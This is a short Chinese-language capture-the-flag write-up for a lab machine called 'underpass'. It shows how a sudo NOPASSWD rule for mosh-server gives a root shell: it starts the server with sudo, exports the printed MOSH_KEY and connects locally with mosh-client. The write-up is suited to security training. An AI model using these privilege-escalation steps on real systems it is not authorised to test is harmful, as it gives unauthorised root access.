1.Mosh

1. /usr/bin/mosh-server sudo提权

#svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    `(ALL) NOPASSWD: /usr/bin/mosh-server`

检测后发现可以运行 mosh-server

/usr/bin/mosh-serverMosh (Mobile Shell) 的服务端组件

Mosh (Mobile Shell) 是一个用于远程终端连接的工具,类似于 SSH,但它更适合不稳定的网络环境(如无线网络、漫游网络),因为它支持:

  1. 网络断线重连。
  2. 延迟补偿(输入响应比 SSH 更流畅)。
  3. 使用 UDP 协议进行数据传输。

这里有点卡注了,参考 0xdf的文章提权

首先使用 sudo mosh-server 开一个服务端

#svcMosh@underpass:~$ sudo mosh-server 


`MOSH CONNECT 60001 TWwWy575M4MURCjSnWNPmw`

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 1740]
  • 60001 是开放的端口
  • TWwWy575M4MURCjSnWNPmw 是密钥

然后使用 mosh-client 进行连接

#svcMosh@underpass:~$ mosh-client 127.0.0.1 60001
MOSH_KEY environment variable not found.

会提示 MOSH_KEY 没有在环境变量中

我们只要设置一下 MOSH_KEY 即可成功连接到本地

export MOSH_KEY=TWwWy575M4MURCjSnWNPmw
mosh-client 127.0.0.1 60001